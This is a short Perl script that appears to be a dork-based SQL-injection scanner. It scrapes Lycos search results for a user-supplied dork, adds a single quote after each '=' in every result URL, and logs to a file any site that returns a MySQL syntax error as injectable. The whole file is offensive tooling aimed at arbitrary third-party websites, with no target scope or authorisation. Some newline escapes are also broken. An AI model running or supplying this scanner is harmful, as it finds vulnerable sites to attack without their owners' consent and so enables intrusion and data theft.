use strict;

no warnings;

use LWP::Simple;

require LWP::UserAgent;

 

my $ua = LWP::UserAgent->new;

$ua->agent('Mozilla/5.0');

 

 

#"http://search.lycos.com/?query=test&page2=0&tab=web"

 

print "insert dork: ";

my $dork = <STDIN>;

_lycos_search_();

 

 

sub _lycos_search_ {

        chomp($dork);

        my %seen;

        my $page = 0;

        my $content = "leer";

        while( $content !~ /There are no WEB results for this search term/ ) {

                my $url = "http://search.lycos.com/?query=".$dork."&page2=".$page."&tab=web";

                my $response = $ua->get($url);

                $content = $response->content;

                while( $content =~ m/<a href="(.+?)" onmouseover/g ) {

                        my $act_link = $1;

                        next if $seen{$act_link}++;

                        print "$act_linkn";

                        my $substr = '=';

                        for(my $position = 0; ($position = index($act_link, $substr, $position)) >= 0; $position++) {

                            my $link_copy = $act_link;

                            substr($link_copy, $position, 1) = "='";  

                                my $site2 = get($link_copy);

                                print "Checking: ".$link_copy."n";

                                unless( $content eq $site2 ) {

                                        if( $site2 =~ m/error in your SQL syntax/i ) {

                                                print "INJECTION: ".$link_copy."n";

                                                _output_($link_copy);

                                        }

                                }

                        }

                }

                $page++;

        }

}

 

 

 

sub _output_ {

        my $param = shift;

        my $output = open(FILE_OUT,">> output_injection.txt") or die "$!n";

        print FILE_OUT $param."n";

        close(FILE_OUT);

}